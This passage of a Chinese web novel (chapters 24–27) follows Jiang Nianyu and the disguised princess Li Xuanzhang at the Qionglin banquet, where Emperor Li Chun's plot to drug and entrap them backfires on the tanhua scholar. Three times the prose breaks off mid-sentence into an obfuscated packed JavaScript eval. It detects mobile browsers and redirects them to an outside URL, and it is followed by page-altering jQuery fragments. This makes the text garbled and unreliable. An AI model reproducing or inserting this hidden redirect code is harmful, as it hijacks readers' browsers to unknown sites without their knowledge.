晟儿伸出小手,小心翼翼地接过来,一双清澈纯净的眸子里,倒映着蝴蝶缓缓翕动的绿色翅膀。 桥下的鱼儿似乎也感应到了木系异能,纷纷从水中跃出,想要距离那股令鱼舒服的能量更近一点。 姜念虞大喜,吩咐跟轿的林鹤:“好多鱼,林鹤,快,抓鱼。” 夏桃忙阻止道:“娘娘,这琼林苑的鱼儿可不能随便抓,这里的鱼都是隶属于琼林司的,就是要钓鱼,也得交一笔钱,拿到牌子才能钓。” 姜念虞:“呃,是吗。” 这琼林苑的管理还挺先进的。 害她白高兴了一场,还以为能白得好些鱼呢。 春樱:“娘娘要是想吃鱼,奴婢稍后问人买几条,昆明池边有好些人钓鱼,刚钓上来的鱼现杀现烹,可鲜了。” 夏桃:“倒也不必问人买,中午的宴席上肯定少不了鱼,到时候娘娘也能吃到。” 姜念虞:“琼林宴上的鱼好吃吗?” 夏桃:“奴婢没吃过,不知道,不过听说为了举办这场宴会,皇上拨了足足三十万钱,宴会上的菜品有六十道之多,这么多钱堆出来的菜品,味道肯定差不到哪儿去。 “往年还有人作诗,说是‘地上琼林宴,天上神仙羡’呢,连天上的神仙也要羡慕,想来宴会上的菜色味道是极好的吧?” 姜念虞顿时就对中午的宴会充满了期待。 仙桥尽头,坐落着五间大殿,是为荣恩殿,正是历届举办琼林宴的地方。 中间的大殿只有皇帝、三品以上大臣以及这一届的新科进士才能进,西一殿是供五品以上大臣,西二殿供五品以下臣属。 东一殿是太后、三品以上命妇、妃嫔,东二殿是三品以下妃嫔、命妇。 晟儿年纪虽小,但作为皇后所出的嫡皇子,他的位置被安排在了中大殿,跟姜念虞这个后妃不在一处。 皇子的气度威仪,就是这样从小培养起来的。 姜念虞蹲在晟儿面前,“晟儿别怕,姨母就在旁边这间大殿里,有什么事你就跟林鹤说,他要是解决不了就来找姨母。” 晟儿点点头,小小的人儿力图作出一副稳重的模样来,殊不知他这样更显得可爱了。 姜念虞忍不住捏了捏他的脸蛋,“去吧。” 晟儿转身,牵住林鹤的一根手指,去了中大殿。 姜念虞则领着丽嫔去了东一殿。 24. 第24章 坐下后,姜念虞扫了一圈,发现姜夫人坐在对面,正跟旁边的夫人说话。 丽嫔坐在她斜后方,李玄璋则恰好坐在她前面。 作为一个没什么存在感的冷宫公主,李玄璋以往从未受邀参加过什么宴会,但今年却受到了邀请,还是李淳派保和殿的总管太监亲自来请的,让他务必要参加。 对此,姜念虞和李玄璋讨论过,一致觉得李淳肯定没憋什么好屁,不过她们这个反派联盟也不怀好意就是了。 就看在宴会上,哪一方更棋高一着了。 这会儿宴会还没正式开始,桌上摆着水果、糕点以及小食,侍茶宫女还奉上来了一盏刚泡好的茉莉玫瑰双花茶。 打开盖子,茶汤澄澈鲜亮,茉莉花和玫瑰花沉浮其中,栩栩如生,清冽甘甜的花香扑鼻而来,好看又好喝。 桌上有一碟子点心,巴掌大的精致花形水晶碟中,摆着四个圆嘟嘟的小团子,有粉、白、黄、绿四色,看着就软乎乎糯唧唧的。 姜念虞捏起了一个绿色的,一咬,外皮软糯却不粘牙,里头是红豆夹心,甜而不腻,好吃极了。 吃完了绿色的,她又朝着黄色的下手了,一口一个,很快就将一碟子四色点心都吃完了。 见前面的李玄璋没有动桌上的点心,她戳了戳他后背,“那个团子你吃吗?你不吃的话给我吃吧。” 李玄璋将一碟子点心都端给了她,“姐姐,透花糍太占肚子,你这会儿吃多了,当心待会儿吃不下了。” 姜念虞:“这个你不消担心,就算来再多我也吃得下。” 外面忽然传来一阵骚动,伴随着哒哒的马蹄声。 那是游街的新科进士们回来了。 原本安坐于殿内的年轻小娘子们都坐不住了,纷纷来到了殿门口,往外张望,想一睹新科进士们的风采,尤其是状元郎——那位传说中貌若神仙的观音郎,裴家九郎裴少清。 “新科进士游街回来了!” “快看,最前面那个是不是就是状元郎裴九郎?” “这长得也太俊了,果真是面如观音,貌若神仙啊!” “我都不敢往他身上丢香囊了,怕亵渎了他。” “探花郎也是一位翩翩少年郎啊,瞧着虽没有状元郎那般俊美,但也没有那么高不可攀,笑起来时还有酒窝呢。” 姜念虞原本在一心享用美食,听着外头那些女子难掩兴奋的议论声,心里一动,直接拿了个空盘子,往里面装了点心、水果,直到盘子都冒尖儿了,实在装不下了,这才端着盘子也去外头看热闹了。 状元郎裴少清,跟原主做了三年未婚夫妻,她在记忆里看到,他长相确实不同凡俗,很可能又是一个异能血包,她得亲眼看看。 要是能上手摸一下就更好了。 还有探花郎,光有才华可是当不了探花郎的,容貌必然也是出众的。 这一下子来了两个疑似异能血包的人,姜念虞识海里的异能源种都变得蠢蠢欲动起来了。 她在心里安抚自己的异能,别急别急,这马上就见到了。 艾玛,这人怎么这么多呀,她挤都挤不出去。 姜念虞也不敢硬挤,怕把手里装满食物的盘子打翻了,正为难间,一道粉色的高挑身影从身后靠近,一只手从背后虚揽着她,一只手挡在她身前,护着她来到了前面,占据了前排观赏位。 正是李玄璋。 “蓁蓁,谢谢你啊。”姜念虞从盘子里捡了颗最小的果子递给他,表达自己的谢意。 李玄璋可是知道她对食物看得有多么重,倒也不嫌弃,接过来吃了。 姜念虞将一盘子食物抱在胸前护着,朝骑马而来的新科进士们看去。 啧啧,这一行人俱都身穿大红色袍服,骑着高头大马,个个意气风发,满面春风,看着就跟古代进士天团似的,即便长相普通的也显得帅气了。 那股子冲击力真不是盖的。 围观人群中发出了阵阵尖叫欢呼声,那场面让姜念虞梦回前世(末世降临前)的追星现场。 不过里面容貌最突出的还要数在前面并辔而行的状元郎和探花郎。 两人都不过弱冠之年,一个风光霁月,一个温文尔雅,齐齐策马而来,犹如一对交相辉映的芝兰玉树,让人挪不开眼。 姜念虞琢磨着,这两人都在马上,她要怎么不着痕迹地接近他们呢? 才这么想着,她前后左右的小娘子们就一呼啦跑了过去,或举着团扇,或举着帕子,或拿着纸笺…… “探花郎,我歆慕您的诗作已久,可否在扇面上题一句您作过的诗?” “探花郎,我也想要你的题词。” “探花郎……” 众多女郎越过状元郎,将探花郎包围起来了。 探花郎受宠若惊,忙下了马,对着一众女子团团作了个揖:“崔适感谢诸位娘子的厚爱,这便来为你们题诗。” 从怀中取出笔墨,当场题诗。 这一举动又赢得了一众女郎的一片赞声。 “崔郎竟然随身携带笔墨,难怪能高中探花呢。” 和探花郎比起来,状元郎那里竟无一人上前要“签名”。 姜念虞不禁感到奇怪,“为什么没人去裴九那里?” 李玄璋:“姐姐这是在明知故问么?状元郎纵然貌若神仙,但看起来太高不可攀了,犹如远在云端,只可远观不可亵玩,而探花郎就要显得平易近人多了。” 姜念虞:“其实她们都误会裴九了,裴九只是看着高冷,其实性格很接地气的。” 他还偷偷在私底下写话本子呢。 当然,这个事是她从小说里看到的,就连原主这个未婚妻都不知道。 “没人去裴九那里正好,我不用跟别人挤了。” 她将手里的盘子递给李玄璋,“帮我拿着,别偷吃啊,我去去就来。” 她从怀里摸出来一张帕子,走到裴少清面前,“状元郎,可否帮我签个名?” 裴少清看见她,不由得一怔,这还是两人退婚后的第一次见面。 他想过有可能会在琼林宴上见到她,但没想到她会这般直接地出现在自己面前,还向自己要签名。 在马上端坐了一会儿,他终究还是下了马,“好。” 伸手欲从她手里接过帕子,谁知她松手而他还没有接过来的那一瞬间,一阵风拂过,将帕子吹落了。 两人皆俯身去捡帕子。 姜念虞故意慢了一步,捡帕子的手落在了裴少清的手上。 裴少清闪电般缩回了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037423|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但姜念虞已经确认了,裴少清也是她的异能血包! 她若无其事地捡起帕子递给他。 裴少清从腰间的荷包里拿出一枚印章,在她的帕子上盖了一下,而后双手托着帕子交还给他。 姜念虞:“多谢。” 她看了看探花郎那边,人太多了,都排起队了,她即便过去了也不知能不能轮着她,还是下次再找机会吧。 转身脚步轻快地朝李玄璋走去。 裴少清目光追着她的背影,见她径直走向一个粉裙女娘,从她手里接过一个盘子。 其实他想问问她,在宫中过得可好,但终究没能说出口。 毕竟,她们如今一个是宫妃,一个是臣子,以后注定会形同陌路。 那粉裙女娘蓦地直直朝他看过来,目光竟有种阴森冷厉之感,裴少清一愕,再看时,她已经和岁岁转身进殿了。 唔,岁岁这个小名,以后也不能再唤了,即便是在心里。 不然他怕哪一日一不小心就叫出来了。 以后,还是唤德妃娘娘吧。 李玄璋瞥了眼嘴巴动个不停两腮鼓鼓似松鼠的姜念虞,状似不经意道:“听说姐姐以前跟裴少清订过亲,如今裴少清高中状元,春风得意,不知姐姐作何感想?” 姜念虞嚼啊嚼,闻言认真想了下,然后摇摇头:“我没什么感想。” 她能有什么感想?跟裴少清订婚的是原主,又不是她。 李玄璋被她这个不走心的回答噎了下,从盘中拿了块糕点塞进她嘴里,“姐姐尽管吃吧,当心吃成个大胖子。” 姜念虞幻想了下自己变成一个大胖子的情形,不禁露出笑容:“能吃成个大胖子,一定很幸福吧。” 李玄璋:“……” 外头,新科进士们俱都下了马,进了中大殿,向上首的皇帝行礼。 上首台阶上,摆着一张朱漆明金龙床,床头是一架河间云水戏龙屏风,李淳坐在龙床上,正与几位臣子亲切交谈。 这几位臣子出身寒门,在朝堂上因不愿依附于世家门阀而受到了排挤,一直得不到晋升。 而这样的人,恰恰是李淳需要的。 他要将他们变成自己的拥趸,继而慢慢发展势力,只待有朝一日时机成熟,便一举将世家门阀给铲除掉! 到那时,这朝堂便是他的一言堂,这天下,也终归是他的天下! 而不是像现在这样,想修一座宫殿,都被姜相他们推三阻四,动不动就拿祖宗礼法、民生社稷来压他。 当看到以裴少清为首的一群新科进士走进来时,李淳心神一晃,前世的一幕画面闪回眼前—— 裴少清一袭紫色官服,腰系玉带,率领群臣进殿,向李玄璋这个谋朝篡位的乱臣贼子躬身行礼,山呼万岁。 而如今,裴少清行礼的对象是自己。 前世他不耐烦出席这琼林宴,携带美人去了万兽园狩猎游玩,在水边流觞宴饮,与身着薄纱的美人在水中嬉戏…… 那时他觉得无比畅快,并不知道自己损失了什么。 如今重来一世,他绝不会重蹈覆辙。 琼林宴的主人,只能是他这个皇帝! “众卿平身。”李淳微笑着抬了抬手,一派雍容尊贵。 25. 第25章 看不见新科进士们了,小娘子们遗憾地回到殿内,三五成群地凑在一处讨论起来。 太后正与娘家大嫂杨夫人说话,见状笑道:“想当年我没进宫时,性子也是这般活泼,为了一睹新科进士们的风采,还特意提前好些天定了御街茶楼的位置,就等着他们从底下经过呢。” 杨夫人也笑了:“可不是,当初我跟娘娘为了争夺茶楼雅间,还吵了起来,不过不打不相识,咱们也因此成了好友,后来娘娘还为我和夫君做媒……” 忆起当年之事,两人都有些感慨。 太后:“黄鹂,你去隔壁瞅瞅,看看那些新科进士都是个什么情况,回来说与我听,也叫殿里这些小娘子们听一听。” 黄鹂脆应一声,去了。 隔了一阵回来直播隔壁的盛况:“回太后,诸位夫人娘子,皇上给新科进士们赐了簪花,状元郎拿了一朵琼雪,榜眼拿了一朵魏紫,探花郎拿了一朵姚黄……” 这些都是牡丹的品种,而姚黄、魏紫乃是花中之王,向来受文人雅士的追捧喜爱。 杨夫人奇怪道:“状元郎怎么选了朵琼雪呢,虽然也好看,但在这么个喜庆的日子,戴白花总归有些不大吉利。” 太后:“这你就不知道了吧,今日乃是裴夫人的忌日,想来裴少清是在祭奠她娘。 “裴夫人当年可是一位养花高手,尤以牡丹养得好,听说她当年养出了一朵双色牡丹,可惜自她去后,再无人能养出来了。” 杨夫人:“你这一说我就想起来了,裴少清能长得这么好,有一大半要归功于裴夫人,当年裴夫人可是被人誉为‘牡丹仙子’,她一出现,连国色天香的牡丹都要黯然失色。” 太后:“可不是,毛贵妃自诩貌美,还不是因为裴夫人去得早,要是裴夫人在,有她什么事。” 对于毛贵妃这位情敌+政敌,太后可是怨气颇重,即便毛贵妃已经死了多年,她也还是时不时就要拿出来说一顿。 对此,殿内其余人也不敢接茬,只是赔着笑,活跃着气氛。 毛贵妃到底是皇上的生母,太后能说,她们能跟着说吗?要是传到皇上耳朵里,她们自己连带着在朝为官的夫君怕是都要倒大霉了。 “裴九郎可说亲了?他家世好,模样俊,如今又高中状元,真是打着灯笼都难找的好夫婿啊。” “听说三年前,姜相慧眼识珠,早早就给姜二娘子,也就是如今的德妃娘娘,和裴九郎定下了婚约,不过姜二娘子一心进宫,将婚事给退了。” “也不知道德妃娘娘如今有没有后悔。” “肯定是后悔了,不然德妃怎么会忍不住寂寞,跟侍卫私通呢,听说她进宫月余,手臂上的守宫砂还在呢。” “啊?不会吧?德妃跟侍卫私通,那怎么还能好端端地坐在这儿呢?” “听说啊,德妃私通,被皇上抓了个正着,皇上一气之下将她打入冷宫,还下旨赐死,结果她喝下鸩酒后,居然死而复生了!” “还有这等奇事?那后来呢?” “后来宫里怀疑德妃是被什么脏东西给夺舍附体了,于是请了无相大师进宫做法驱邪。” “这肯定是谣传吧?要是德妃真被脏东西附体了,宫里还能让她活得好好的?” “我看不然,无相大师从宫里出来的第二天就圆寂了,怕不是做法失败,遭到了反噬,总之德妃邪性得很,咱们还是离得她远远儿的吧。” 一不小心就成了话题中心的姜念虞对此浑然不觉,一心只盯着眼前的美食。 连殿中央的歌舞表演都没顾得上看。 黄鹂探到了新消息:“太后,皇上以风筝为题,让新科进士们当场作诗,还说谁要是得了魁首,就许诺他一件事。” 这话一出,殿内嗡嗡声顿起,众人都议论纷纷。 “这魁首除了裴九郎,还有谁能当得?” “不然,裴九郎纵然才高八斗,其余之人也不见得是庸人,别人不说,那探花郎也是才华出众之辈,魁首花落谁家,还说不定呢。” “君无戏言,一旦得了魁首,就能让皇上答应他一件事,这可真是令人艳羡啊。” “不如咱们来赌一下?就赌谁最后能拿到魁首。” “好啊,我压裴九郎,赌注就是我腕上这根碧玉镯。” “我压探花郎,抵上这根簪子。” …… 太后见了,摘下了头上的一根簪子,笑吟吟道:“我也来凑个趣儿,就赌裴九郎赢。黄鹂,再去探,看看是谁摘得了魁首。” 不一会儿黄鹂来报:“太后,诸位夫人,皇上和诸位大臣商议,一致觉得探花郎的风筝诗做得最好,所以点了探花郎为魁首。” “哎呀,怎么是探花郎呢,我刚打的金簪啊。” “也不知那探花郎做了什么诗?” 黄鹂当即将探花郎的诗念了出来,原本还有些怀疑的人,顿时没声了。 “魁首之名,的确不虚。” “那裴九郎呢?他又做了什么诗?” 黄鹂也当众念了一遍。 众人听完,一时沉默下来。 过了会儿才有人道:“裴九郎的诗也是作得极好的,只可惜,不应题。” 皇帝给的题目是“风筝”,而裴九郎写的却是这场琼林宴,写宴会多么奢华,饮食多么美味,器物多么珍贵……关键写这些也就罢了,最后他偏偏还要来一句百姓过得多么苦。 衬得她们所有人都变成了不识人间疾苦的恶人。 这大好的日子里,他做这样一首诗,皇上能高兴吗?能把魁首给他吗? 相比较起来,探花郎的诗就讨巧多了,一派花团锦簇、国泰民安的景象,相当于给皇帝和群臣拍了一记高明的马屁。 太后问:“那探花郎向皇上提什么要求了?” 黄鹂答:“探花郎从怀中拿出了一幅画,画中是一名绝色女子,他说这是他梦中所见,想请皇上为他找到此女。” 太后哈哈一笑,“梦中之人,不过是虚幻罢了,又怎么会存在于这世间呢?” 黄鹂莞尔一笑:“太后娘娘,这您就猜错了,那画上女子,不仅存在于世,而且还远在天边近在眼前呢。” 太后和众人都被这句话给吊起了胃口。 太后连忙追问:“哦?那女子是谁?” 黄鹂目光投向左侧的席位,落在了其中一人身上,众人一阵惊奇,也跟着看了过去。 “太后娘娘,那女子正是蓁蓁公主。” 姜念虞:来了来了,李?狗?淳带着他的阴谋诡计来了。 她将嘴里的食物咽下去,戳了戳李玄璋的后背。 众目睽睽之下,李玄璋不好跟她交头接耳,只道:“吃你的,看戏便是。” 姜念虞看他这么淡定,根本用不着她担心,于是吃得更欢了。 这个鱼好吃,可惜刺多。 这个虾也好吃,可惜要剥壳。 还是吃丸子吧,不用吐刺不用剥壳也不用吐骨头…… 中大殿内,李淳看了画后,朗声一笑,“此女不用找,朕知道‘她’在哪儿,宣蓁蓁公主。” 李玄璋被迫离席,跟着来传唤的太监去了隔壁。 探花郎见到一身粉裙仙姿昳貌的蓁蓁公主,呆呆地盯着看了半晌,反应过来后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049494|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙向她行礼告罪。 “殿下恕罪,在下唐突了。” 李玄璋压根儿没搭理他,抱着布娃娃动作有些笨拙地向上首的李淳行礼。 “蓁蓁见过皇兄。”说话时神态天真,语气懵懂,仿佛一个幼童。 探花郎见状,不由有些愕然,这位蓁蓁公主似乎有些不大正常? 李淳:“蓁蓁,如今你年岁也不小了,朕欲给你做一门亲,将你许给这位不过弱冠之年就已金榜题名、高中探花的少年郎君,你意下如何?” 探花郎脸色爆红,偷瞥了蓁蓁公主一眼,心跳狂乱。 若是能将梦中心心念念的佳人娶回家,那他做梦都会笑醒。 旋即又惶恐起来,若是公主殿下不答应怎么办? 李玄璋脑袋一歪,问李淳:“皇兄,做亲是什么意思啊?” 李淳没有回答他的问题,而是先向探花郎解释了一句:“蓁蓁小时候发过一场高烧,退烧后命虽然保住了,心智却停留在了幼童时期,所以言行举止有些……天真烂漫。” 探花郎忙表明心意:“皇上,微臣一点也不介意,若是公主能下嫁微臣,那是微臣三生有幸,微臣定会待殿下如珠如宝,万分珍重。” 李淳:“蓁蓁,你说呢?” 李玄璋神情慌张:“皇兄不要赶蓁蓁走,蓁蓁会听话的……” 见状,探花郎心疼极了,恨不能将她抱在怀里好生安抚,然而碍于这里是大庭广众之下,当着皇上和群臣的面,他不好做出唐突之举。 李淳叹息一声:“看来蓁蓁并不愿意出嫁,朕也不能勉强你,罢了,那朕便养你一辈子。” 吩咐墨春:“送公主殿下回席吧。” 探花郎失落极了,目光巴巴地追着蓁蓁的背影,舍不得收回。 李淳看在眼里,嘴角勾了勾。 回到席位,李玄璋见姜念虞依旧在那里不停地吃,仿佛一只披着美丽人皮的饕餮,眼中只有食物,对于他的来去毫不留意,也毫不关心,心下忽的有些不平。 从自己桌上夹了一块肉,伸到她面前。 姜念虞果然被肉块吸引了注意力,抬头朝他看过来,“给我的?” 李玄璋将肉块移动位置,她的眼珠子也跟着肉块转动,肉块往左,她就往左看,肉块往右,她就往右看,跟只小狗似的。 他忍不住笑了一声,觉得自己跟这样一个人计较,真是太过幼稚了。 将肉块放进她碗里,问她:“姐姐,李淳想给我和探花郎赐婚,这事你梦到过吗?” 姜念虞:“梦到过啊,但是我没法告诉你嘛,你应该拒绝了吧?” 李淳给李玄璋和探花郎做媒,一是为了恶心李玄璋,二是想将李玄璋弄出皇宫——李玄璋在皇宫一日,他就一日不得安宁。 三么,就是想借着李玄璋的手除掉探花郎。 前世李玄璋谋朝篡位后,探花郎有一次觐见他,路过被拴在大殿门口柱子上的前皇帝李淳时,被他抓住了脚。 李淳嗓子嘶哑地朝他喊:“杀了我……” 探花郎害怕地躲开了。 所以,探花郎也上了李?狗?淳的黑名单。 李淳了解李玄璋,知道他为了不嫁给探花郎,很可能会对探花郎动手,让他“意外死亡”。 而这,就是李淳的目的——借李玄璋的手,除掉他自己想杀的人。 李玄璋:“我说不想离开皇宫,他就没再坚持了,这实在不符合他的性子,我猜他还安排了后招等着我。” 姜念虞:“你猜得没错。” 可惜她被世界意识捂了嘴,没法告诉他李淳的下一步阴谋。 26. 第26章 “呀!奴婢该死,求殿下降罪……” 就在姜念虞说完那话不久,一名宫女过来给李玄璋上甜汤,却不小心被地毯绊了下,整个人往前一扑,手里的甜汤脱手而出,有大半撒在了李玄璋身上。 宫女吓得不行,忙跪地磕头请罪。 李玄璋嘴巴一瘪,带着哭腔道:“这是蓁蓁最喜欢的裙子了,呜呜呜……” 宫女膝行上前,拿帕子给他擦裙子,又哄着他:“殿下,奴婢带您去换一件新裙子好不好?保证比您身上的这件还要漂亮。” 李玄璋抬手抹了下泪,抽噎着:“好,好吧,我听,听姐姐的。” 宫女感激涕零,忙不迭道:“殿下请随奴婢来。” 姜念虞也跟着起身,“我裙子上也被溅到了汤汁,蓁蓁,我跟你一块儿过去。” 她其实并不想离开宴席,离开她的美食,但想到李淳接下来针对李玄璋的阴谋,有些不放心,觉得还是跟上去比较好。 荣恩殿后面有一座双燕楼,是专供客人更衣休息的地方。 姜念虞作为正二品的妃嫔,在双燕楼有自己单独的“休息室”,包含卧室、客厅、净房(卫生间)等,相当于一间豪华包间。 早在宴会开始前,春樱就将带来的备用衣裳首饰放在了休息室,姜念虞直接过去就行。 而李玄璋这位公主,因着不受宠,所以只能用公用的“更衣室”。 两人的更衣室不在一个方向,就在宫女要带着李玄璋往另一边去时,姜念虞道:“蓁蓁,你去我那边吧,我带了两套备用的衣裙,可以匀一套给你。” 宫女脸色微变,想要阻止,却一时找不到合适的说辞。 而李玄璋已经高兴地答应了:“好呀。” 宫女只能眼睁睁看着德妃将蓁蓁公主领到她的休息室去了。 进门后,姜念虞对跟过来的夏桃道:“你就守在门口吧。” 说着将房门关上了。 一转身,就对上了李玄璋问询的眼神。 她解释道:“那个宫女是故意往你身上泼甜汤的,就是为了弄脏你的裙子好带你去换衣裳,李淳提前让人在你的更衣室里点了催-情-香,还*****” 后面她想说的是——安排人来非礼你,想让你暴露身份,好治你的罪。 但因为这是还没发生的事,她无法说出口。 不过李玄璋用脚指头都猜得出后面的事,“我知道了。” 他环顾了屋内一圈,走到香炉前查看了一下。 姜念虞:“你怀疑我这边也被点了催-情-香?” 李玄璋:“嗯,不过香炉里的香没有问题。” 姜念虞:“今天李淳要对付的人是你,我这边能有什么问题?” 然而她不知道的是,她很快就被打脸了。 李玄璋换完衣裳从屏风后出来,背对着月洞门在桌边坐下,有节奏地敲击了几下桌面,一个黑衣人如影子一般冒出来。 “将那个宫人带走审问一番。” 黑衣人点了点头,又如影子般悄无声息地消失了。 等了一阵,还不见姜念虞出来,李玄璋唤了声:“姐姐?你还没换好吗?” 内室之中无人应声。 李玄璋霍的起身,以为姜念虞出了事,快步进了内室,却在见到床榻上的人时,身形骤然顿住。 她身上的外裳和裙子已经脱掉了,只剩下了一层轻薄的白色里衣,歪倒在床上,眼眸半睁,脸色潮红,手抓着里衣领子,想往下扯。 眼见着里衣就要被她扯下来了,李玄璋一个箭步上前,按住了她的手。 她这模样,竟像是中了催-情-香,可他先前已经检查过室内燃的香,并无异样。 那她是在何处中的招? 想到先前她在宴会上一番大啖,一点也不忌口,来什么就吃什么,他恍然明白过来,定是她吃下去的某样东西被动了手脚。 然而现在追究这个也无益,得赶紧带她离开这里才行。 李玄璋拍了拍姜念虞的脸,“姐姐,醒醒。” 姜念虞觉得他的手好凉快,像一块柔软的冰,忍不住按住他的手贴在脸上,想要汲取更多凉意。 与此同时,她与他的接触,也让她的异能不断上涨,在自保的本能之下,她的异能自动运转起来,犹如一缕清泉流遍全身。 原本被药力控制的脑子,清醒了许多。 “走。”她抓着他的胳膊,想站起来,但腿上根本使不上劲儿,跟面条一样软。 李玄璋:“得罪了,姐姐。” 将她打横抱起,准备离开。 然而才走了两步,他整个人忽然直挺挺地倒了下去,连带着怀里的姜念虞也摔了,还做了他的肉垫。 幸好地上铺了柔软的地毯,不然她这一下得摔个够呛。 “你身上好凉,摸着好舒服,味道也好闻,像桃子味儿的雪糕。” 在又一波药力的冲击下,姜念虞的意识再次变得模糊起来,恍惚觉得身上压着一根巨大的雪糕,凉凉滑滑的,好想咬一口。 然后她也真的咬了一口。 李玄璋:“……” 有时候真想封住她的嘴。 他强撑着从她身上离开,“姐姐,我的蛊毒发作了,原本蛊毒发作的日子不是今天,想来是那个宫女泼向我的甜汤引发的,接下来李淳很可能会带人过来,我们得赶紧离开。” 她们两个,一个中了催-情-药,行动不受控制,一个蛊毒发作全身如被冰封,无法动弹,若是继续待在一起,后果不堪设想。 偏偏他刚才还将身边的影卫给派了出去。 姜念虞极力控制着自己,“我……我尽量。” 谁懂啊,她现在就像是身处火山口,而旁边就躺着一根巨大的桃子味儿雪糕,她却不能碰他。 李淳这个王八蛋,敢阴她,给她等着,回头她要连本带利地还给他! 探花郎被梦中女神蓁蓁公主当众拒绝,心情郁闷之下连喝了不少酒。 酒喝多了就容易上厕所。 他撑着桌子站起身,出了殿,向走廊里侍立的宫人问了路,宫人很体贴地道:“大人,奴婢带您过去吧。” 探花郎便跟着宫人去了。 他脑袋有些昏沉,一路上也没怎么看路,只是跟着宫人走,当宫人将他带到一扇门前,说“大人,到了”时,他便推门而入。 中大殿内。 李淳又出了一道诗题——牡丹,一群新科进士们都绞尽脑汁,力图做出一首脍炙人口的好诗,好在皇上面前表现一番。 有些大臣也来凑趣。 片刻功夫后,众人相继搁下了笔,侍立在李淳身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079339|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的墨春走下台阶,将众人所作的诗句收了上来,呈给李淳阅览。 过了会儿,李淳疑惑道:“怎么不见探花郎的诗作?” 皇帝一提起探花郎,众人便都朝探花郎的位置看去,发现他人竟然不在座位上。 有人笑道:“探花郎莫不是觉得殿内吵闹,到外头躲清静去了?” 又有人道:“我看不然,今日风和日丽,园中繁花灿烂,水边多丽人,探花郎年少风流,这会儿正流连花丛也说不准呢。” 这话颇有双关之意,众人都心领神会地哈哈大笑起来。 李淳站起身,“朕也坐得有些乏了,外头春光正好,诸位可愿陪朕一道出去走走啊?正好,也去寻一寻咱们的探花郎,看他在哪里逍遥快活。” 皇帝都发话了,其他人岂有不应的道理? 在李淳的带领下,众人出了殿,来到了园中,赏花作诗,好不自在。 李淳看似在闲庭漫步,实则是目标明确地带着众人往某一处走去。 走到半道,一个宫人神色慌张地跑过来,“皇上不好了,探花郎和蓁蓁公公——” 似意识到自己失言,宫人忙将后面的话压了回去。 然而这不清不楚的半截话,却是最引人遐想。 众人都不禁猜测起来,探花郎和蓁蓁公主怎么了? 为何这个宫人话只说一半?难道后面那一半有什么见不得人的地方? 李淳一副担忧焦急的模样,“蓁蓁怎么了?她现在在哪儿?快带朕过去!” 在宫人的带领下,众人来到了双燕楼,某间屋子外。 屋内,姜念虞坐在地上,正努力解开两人缠在一块儿的络子。 那络子是用来压裙角的,刚才两人一块儿倒下去时,络子不知怎的缠到了一起。 姜念虞本就状态不佳,还要忍受着李玄璋这根大雪糕带来的诱惑,解了半天也没能解开,出了一头的汗。 汗水顺着额角流下来,沁入了衣领里。 李玄璋看见这一幕,下意识闭上了眼睛。 当听见外面传来的嘈杂脚步声时,姜念虞心头一悸,喃喃道:“完了,有人来了……” 肯定是李淳带着人来捉-奸了! 砰! 李淳一脚踹开了房门,背影看似着急,嘴角却噙着一抹胜利在望的快意笑容。 然而在看到屋内的情形时,他嘴角的笑容僵住了。 屋子里,只有探花郎一人,根本不见李玄璋! 李玄璋人呢? 探花郎被宫人带过来,进屋方便过后,便打算离开了,谁知这时身体却起了一些异样的反应。 他不知是这屋子里的催-情-香导致的,还以为是自己酒后乱了性。 情难自禁之下,忍不住拿出怀里的那幅画,看着画中人安慰起了自己。 安慰到一半,房门忽然被人破开,一大群人站在房门口,为首的竟是皇帝,后边跟着的则是姜相、裴公等一干大臣。 探花郎:“……” 兴冲冲来“捉-奸”的李淳:“……” 后面的一群大臣:“……” 那一刻,探花郎想死的心都有了,恨不得找条地缝钻进去。 李淳阴森森地说了句:“探花郎果真是风流啊。” 冷哼一声,甩袖离去。 27. 第27章 “皇上。”墨春走进湖心亭中,小心翼翼地唤了声。 湖心亭建成了船舫的样式,通过一条窄窄的荷道与陆地相连,远远看去,就像是一条船停在了湖中央。 李淳负手立于“船舷”边,看着湖中的锦鲤。 那些锦鲤一个个都胖死了,却也没沉下去,反而在水中悠游自在。 而他精心布置的计划,却折戟沉沙了。 这让他愈发看那些锦鲤不顺眼了。 听见墨春的声音,他并未转过身来,只沉沉吐出一个字:“说。” 墨春见他这般,便知皇上是迁怒自己了,不过这也怪不得皇上,是他办砸了皇上交代的事。 他走上前,将事情的始末说了一遍。 早在宴会开始前,墨春就遵照李淳的吩咐,秘密安排了三个宫人执行任务。 